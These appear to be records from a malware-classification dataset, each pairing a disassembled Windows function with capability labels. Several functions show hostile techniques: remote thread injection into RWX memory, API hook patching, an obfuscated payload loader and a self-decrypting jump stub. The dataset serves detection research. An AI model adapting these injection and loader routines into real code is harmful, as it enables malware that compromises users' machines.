joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100cc9e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10119800
cmp edx, dword [eax]
je 0x100cca0b
add eax, 8
inc ecx
cmp eax, 0x10119890
jl 0x100cc9fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10119800]
jne 0x100ccb39
mov eax, dword [0x10128ee8]
cmp eax, 1
je 0x100ccb13
test eax, eax
jne 0x100cca3c
cmp dword [0x10128eec], 1
je 0x100ccb13
cmp edx, 0xfc
je 0x100ccb39
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100cca73
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.100cc570
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.100c2b90
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x100ccab6
lea eax, [ebp - 0x1a4]
push eax
call fcn.100c2b90
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10108014
push edi
call fcn.100c1aa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.100cc570
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.100cc580
lea eax, [ebp - 0xa0]
push 0x100f4560
push eax
call fcn.100cc580
push dword [esi + 0x10119804]
lea eax, [ebp - 0xa0]
push eax
call fcn.100cc580
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.100cf50f
add esp, 0x2c
pop edi
jmp 0x100ccb39
lea eax, [ebp + 8]
lea esi, [esi + 0x10119804]
push 0
push eax
push dword [esi]
call fcn.100c2b90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x100d46c9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100d4701
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100d7352
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.100d732a
jmp 0x100d470d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x100d5dbb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x100d5dfd
call fcn.100de222
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x100d5dfd
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x100d5df4
xor eax, eax
jmp 0x100d5e05
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.100d5e0b
pop edi
pop esi
pop ebx
ret 4
Function at 0x100d7600
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x100d7622
cmp dword [edi + 0x3c], 0
jne 0x100d7622
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.100de222
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.100d764f
pop edi
pop esi
pop ebx
ret 8

Function at 0x3c93700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.03c9378f
jae 0x3c9370e
xor ecx, ecx
call fcn.03c9378f
jae 0x3c9373d
xor eax, eax
call fcn.03c9378f
jae 0x3c9374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.03c9378f
adc al, al
jae 0x3c9372f
jne 0x3c93779
stosb byte es:[edi], al
jmp 0x3c93711
call fcn.03c9379b
sub ecx, ebx
jne 0x3c93756
call fcn.03c93799
jmp 0x3c93775
lodsb al, byte [esi]
shr eax, 1
je 0x3c93783
adc ecx, ecx
jmp 0x3c93772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.03c93799
cmp eax, 0x7d00
jae 0x3c93772
cmp ah, 5
jae 0x3c93773
cmp eax, 0x7f
ja 0x3c93774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3c93711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x10001d20
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10001d5d
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0
jne 0x10001d48
mov dword [ebp - 0x18], 1
jmp 0x10001d4f
mov dword [ebp - 0x18], 0
mov cl, byte [ebp - 0x18]
mov byte [ebp - 9], cl
movzx edx, byte [ebp - 9]
test edx, edx
je 0x10001d64
xor al, al
jmp 0x10001e77
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x24], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10001d9d
xor al, al
jmp 0x10001e77
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0x14], 0xf
jbe 0x10001dbb
mov dword [ebp - 0x1c], 1
jmp 0x10001dc2
mov dword [ebp - 0x1c], 0
mov dl, byte [ebp - 0x1c]
mov byte [ebp - 0xa], dl
movzx eax, byte [ebp - 0xa]
test eax, eax
je 0x10001dde
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], edx
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10001e0f
xor al, al
jmp 0x10001e77
mov dword [ebp - 8], 0
push 0x1000652c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x40]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x10001e59
xor al, al
jmp 0x10001e77
cmp dword [ebp + 8], 0
je 0x10001e75
cmp dword [ebp - 0x10], 0
je 0x10001e75
cmp dword [ebp - 0x28], 6
je 0x10001e75
cmp dword [ebp - 0x2c], 0
je 0x10001e75
mov al, 1
jmp 0x10001e77
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004423
mov esp, ebp
pop ebp
ret
Function at 0x10003553
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, 0xffffffff
je 0x1000365e
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10003657
inc edi
cmp dword [ebp - 0x20], 0x10
jb 0x1000361b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x1000361b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1000361b
mov edx, dword [esi]
test edx, edx
jne 0x100035e4
push 0x200
push edx
push dword [0x10008660]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x10003640
lea ebx, [esi + 8]
jmp 0x1000360e
mov eax, dword [esi + 4]
lea ebx, [esi + 8]
cmp dword [ebx], eax
jb 0x1000360e
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1000366f
mov dword [esi], edx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [ebx]
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000359c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10003657
xor edi, edi
cmp dword [esi], edi
je 0x10003657
push dword [esi]
push edi
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004423
leave
ret
mov ebx, dword [ebp - 0x24]
jmp 0x10003640

Function at 0x10003674
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.10003553
test eax, eax
jne 0x10003698
push 9
pop esi
jmp 0x100036df
cmp dword [edi], esi
je 0x100036df
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x100036de
mov eax, dword [edi]
push dword [eax + ebx*4]
push esi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
test eax, eax
je 0x100036d8
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.10003400
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x100036a4
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x100036e5
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x10003731
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x10003720
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10003719
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x100036f6
pop ebx
push dword [esi]
push 0
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x10003733
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
imul esi, ecx, 0x2c
push edi
mov edi, edx
mov dword [ebp - 0x10], edi
add esi, dword [0x10008670]
mov dword [ebp - 8], esi
mov al, byte [esi + 0x14]
mov ebx, dword [esi]
and al, 1
je 0x10003759
sub ebx, 5
movzx eax, al
lea ecx, [ebp - 4]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10003780
push 0xa
pop eax
jmp 0x10003800
test edi, edi
je 0x100037a1
mov byte [ebx], 0xe9
mov eax, dword [esi + 4]
sub eax, ebx
sub eax, 5
mov dword [ebx + 1], eax
test byte [esi + 0x14], 1
je 0x100037c0
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x100037c0
test byte [esi + 0x14], 1
je 0x100037b5
lea esi, [esi + 0xc]
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
jmp 0x100037c0
mov eax, dword [esi + 0xc]
mov dword [ebx], eax
mov al, byte [esi + 0x10]
mov byte [ebx + 4], al
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 0x10]
mov cl, dl
add cl, cl
shl dl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor dl, cl
and dl, 4
xor dl, cl
xor eax, eax
mov byte [esi + 0x14], dl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003dd8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x10008668]
push esi
xor esi, esi
jmp 0x10003dea
cmp dword [edx + 4], esi
jne 0x10003e3e
mov edx, dword [edx]
test edx, edx
jne 0x10003de3
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x10003e3a
push edi
push 0x20
lea ecx, [edx + 0x20]
mov dword [edx + 8], esi
pop edi
mov dword [ecx], esi
mov eax, ecx
mov dword [edx + 4], ecx
add edi, 0x20
add ecx, 0x20
mov esi, eax
cmp edi, 0xfe0
jbe 0x10003e11
mov eax, dword [0x10008668]
mov dword [edx], eax
mov dword [0x10008668], edx
pop edi
test edx, edx
jne 0x10003e3e
xor eax, eax
pop esi
ret
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret
Function at 0x10001e10
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18
mov dword [ebp - 0x10], 0x1000
mov dword [esp], 0x1000
call dword [sym.imp.ucrtbase.dll_malloc]
test eax, eax
je 0x10001ed1
mov esi, eax
mov edi, dword [sym.imp.iphlpapi.dll_GetAdaptersAddresses]
mov dword [esp + 8], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0xe
mov dword [esp], 0
call edi
sub esp, 0x14
cmp eax, 0x6f
jne 0x10001eb4
lea esi, [esi]
mov eax, dword [ebp - 0x10]
mov dword [esp], esi
mov ebx, esi
mov dword [esp + 4], eax
call dword [sym.imp.ucrtbase.dll_realloc]
mov esi, eax
test eax, eax
je 0x10001ec2
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0xe
mov dword [esp], 0
call edi
sub esp, 0x14
cmp eax, 0x6f
je 0x10001e70
test eax, eax
jne 0x10001ec8
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, ebx
lea esi, [esi]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_free]
lea esp, [ebp - 0xc]
xor esi, esi
pop ebx
mov eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x100037c0
Capabilities:
Get process heap flags

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff8
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x30
mov esi, dword [ecx]
mov ebx, dword [ecx + 4]
test byte [0x10007028], 8
jne 0x10003970
test esi, esi
je 0x1000395e
test ebx, ebx
je 0x1000395e
mov ecx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
mov dword [ebp - 0x28], ecx
call ecx
mov edx, eax
sub esp, 0x18
lea eax, [eax + eax]
mov dword [ebp - 0x24], edx
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov edi, eax
test eax, eax
je 0x1000395e
mov edx, dword [ebp - 0x24]
mov dword [esp + 8], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp + 0x14], edx
mov dword [esp], 0xfde9
mov ecx, dword [ebp - 0x28]
call ecx
sub esp, 0x18
mov dword [esp], edi
call sub.kernel32.dll_wine_get_unix_file_name
mov ebx, eax
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.ucrtbase.dll_free]
mov dword [esp], edi
mov dword [ebp - 0x24], eax
call eax
test ebx, ebx
je 0x1000395e
mov dword [esp + 4], 8
mov dword [esp], 1
call dword [sym.imp.ucrtbase.dll_calloc]
mov edi, eax
test eax, eax
je 0x1000393c
test byte [0x10007028], 8
jne 0x100039c0
mov ecx, dword [esi]
mov dword [ebp - 0x14], edi
mov ebx, dword [esi + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xd
mov ecx, dword [0x1000b860]
mov ebx, dword [0x1000b864]
mov dword [esp], ecx
mov dword [esp + 4], ebx
call dword [0x10007084]
sub esp, 0x10
test eax, eax
jne 0x100039b0
mov ecx, dword [ebp - 0x18]
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov dword [esp + 8], ecx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, edi
sub esp, 0xc
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
xor edx, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lea esp, [ebp - 0x10]
xor edi, edi
pop ecx
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov eax, ebx
call fcn.100020c0
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], str._p___s_n
mov dword [esp + 8], str.pcap_dump_open
mov dword [esp + 4], 0x10007028
mov dword [esp], 3
call fcn.10002480
jmp 0x100037e6
mov dword [esp], edi
xor edi, edi
mov eax, dword [ebp - 0x24]
call eax
jmp 0x10003907
mov eax, ebx
call fcn.100020c0
mov dword [esp + 0xc], str.unix_path__s_n
mov dword [esp + 0x10], eax
mov dword [esp + 8], str.pcap_dump_open
mov dword [esp + 4], 0x10007028
mov dword [esp], 3
call fcn.10002480
jmp 0x100038c6
Function at 0x10003a60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
test byte [0x10007028], 1
jne 0x10003a90
add esp, 0x24
mov ecx, edi
mov edx, esi
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.100024d0
mov eax, ebx
mov dword [ebp - 0x10], edx
call fcn.100020c0
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str._s___p___p___p:_partial_stub_n
mov dword [esp + 0x14], edx
mov dword [esp + 8], str.pcap_findalldevs_ex
mov dword [esp + 4], 0x10007028
mov dword [esp], 0
call fcn.10002480
jmp 0x10003a7e
Function at 0x6d7b364a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d4c]
test eax, eax
je 0x6d7b36b9
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d4c]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.6d7b8c42
pop ecx
pop edi
pop esi
ret

Function at 0x6d7b3d88
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
test eax, eax
je 0x6d7b3dbd
push edi
mov edi, 0x120
cmp dword [esp + 0x10], edi
jae 0x6d7b3db0
push eax
call fcn.6d7b4838
push 2
call fcn.6d7b4827
pop ecx
pop ecx
mov dword [esi], eax
push edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
pop edi
pop esi
ret

Function at 0x6d7b8c42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x6d7b8c51
pop dword [ebp - 0x48]
mov eax, 0x6d7b8c51
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x99c1ee88
add dword [ebp - 0x58], 0xb49056c3
mov dword [ebp - 0x54], 0x6baffb73
add dword [ebp - 0x54], 0xc68350d2
mov dword [ebp - 0x50], 0x79ec5ae1
add dword [ebp - 0x50], 0xd25fe94d
mov dword [ebp - 0x4c], 0x3dc7222c
sub dword [ebp - 0x4c], 0x3dc7222c
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xff530e70
sub dword [ebp - 0x58], 0x8ae0a51a
mov dword [ebp - 0x54], 0xf146f327
add dword [ebp - 0x54], 0x50256e4e
mov dword [ebp - 0x50], 0x1d6272a0
add dword [ebp - 0x50], 0x460cf9cc
mov dword [ebp - 0x4c], 0x5d30144b
add dword [ebp - 0x4c], 0xa2cfebb5
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x7be21cb7
add eax, 0xf19ac3e9
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3d2b6
push 0
call eax
mov ecx, 0x57dd
mov ebx, eax
mov esi, 0xa7eddda9
sub esi, 0x3a700ba9
add esi, dword [ebp - 0x48]
mov edi, 0x185d9b9e
sub edi, 0xbc1ebf61
xor dword [ebp - 0x10], 0xaa8c1ac8
mov edx, dword [esi]
sub dword [ebp - 0x30], eax
add edx, edi
xor dword [ebp - 0x18], edi
mov dword [ebx], edx
add dword [ebp - 0x20], ecx
add ebx, 0x76fecdfb
add ebx, 0x89013209
add esi, 4
loop 0x6d7b8d63
add eax, 0xd9181d95
add eax, 0x26e934b2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d7b0000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x4ba8ed
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x4ba925
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x4ba913
mov al, 1
jmp 0x4ba984
cmp dword [ebx + 0x54], ecx
jne 0x4ba91c
mov al, 2
jmp 0x4ba984
cmp dword [ebx + 0x7c], ecx
jne 0x4ba984
mov al, 3
jmp 0x4ba984
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x4ba93a
mov al, 4
jmp 0x4ba984
cmp ecx, 5
jne 0x4ba95a
cmp ebx, 0
jne 0x4ba948
mov al, 5
jmp 0x4ba984
cmp ebx, 1
jne 0x4ba951
mov al, 6
jmp 0x4ba984
cmp ebx, 2
jne 0x4ba95a
mov al, 7
jmp 0x4ba984
cmp ecx, 6
jne 0x4ba982
cmp ebx, 0
jne 0x4ba968
mov al, 8
jmp 0x4ba984
cmp ebx, 1
jne 0x4ba96f
mov al, 9
cmp ebx, 2
jne 0x4ba976
mov al, 0xa
cmp ebx, 3
jne 0x4ba97d
mov al, 0xb
cmp ebx, 4
jne 0x4ba984
mov al, 0xc
pop ebx
leave
ret

Function at 0x401000
Capabilities:
Terminate process

Disassembly:
mov dword [0x402452], eax
mov edx, eax
xor edi, edi
push 2
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor esi, esi
push dword [0x403583]
call dword [sym.imp.winmm.dll_waveOutClose]
add eax, 6
test eax, 0xb
jne 0x401036
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx